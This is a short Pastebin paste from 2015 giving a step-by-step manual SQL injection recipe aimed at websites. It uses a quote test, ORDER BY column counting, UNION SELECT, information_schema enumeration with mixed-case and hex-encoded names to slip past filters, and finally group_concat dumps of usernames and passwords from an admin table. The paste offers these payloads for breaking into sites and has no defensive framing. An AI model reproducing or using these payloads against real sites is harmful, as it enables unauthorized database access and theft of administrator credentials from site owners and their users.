Advertisement
Kyfx

SQL Basic Manual Codes

Feb 13th, 2015
340
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.95 KB | None | 0 0
  1. first to check the site if it vulnerble sql
  2.  
  3. use the code '
  4.  
  5.  
  6. step 1:
  7.  
  8. finding the numbers of columns
  9.  
  10. +order+by+100--
  11.  
  12. ++++++++++++++++++++++++++++++
  13. step 2:
  14.  
  15.  
  16. finding the vulnerble columns
  17.  
  18. +union+select+
  19.  
  20. Note: but before the nunber this -
  21.  
  22.  
  23. te get version
  24.  
  25. version() or vv()
  26.  
  27. to get the database
  28.  
  29. database()
  30. ----------------------------------
  31. step3:
  32.  
  33. finding #table#
  34.  
  35.  
  36. (select+group_concat(table_name)+froM+In­fORmaTion_scHema.tAblES)
  37.  
  38. =================================
  39.  
  40. step4
  41.  
  42. finding #columns#
  43.  
  44. (select+group_concat(column_name)
  45.  
  46. +froM+InfORmaTion_scHema.cOlumnS+WheRe+t­AblE_naMe=0x61646d696e5f61636570)
  47.  
  48. admin_acep+0x61646d696e5f61636570
  49. -------------------------------------
  50.  
  51.  
  52.  
  53.  
  54. finding #Data#
  55.  
  56. (select+group_concat(username,0x3a,passw­ord)+from+admin_acep)
  57.  
  58.  
  59. change colunn to the column names
  60.  
  61.  
  62. and the tablename change the name of the table
  63.  
  64. use this code "0x3a" if you want more information
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement